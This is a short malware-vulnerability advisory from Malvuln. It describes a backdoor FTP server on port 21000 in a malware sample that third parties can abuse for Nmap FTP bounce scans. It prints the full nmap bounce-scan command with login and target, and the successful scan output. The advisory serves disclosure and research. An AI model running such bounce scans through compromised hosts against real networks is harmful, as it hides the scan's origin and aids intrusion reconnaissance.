Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5_B.txt
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 21000. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Vuln ID: MVID-2021-0411
Dropped files: CFS.exe
nmap -n -Pn -b malvuln:email@example.com:21000 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-24 22:18 Pacific Standard Time
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:firstname.lastname@example.org:21000
Connected:220 c400s FTP Server read...
Login credentials accepted by FTP server!
Initiating Bounce Scan at 22:18
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 22:18, 2.16s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).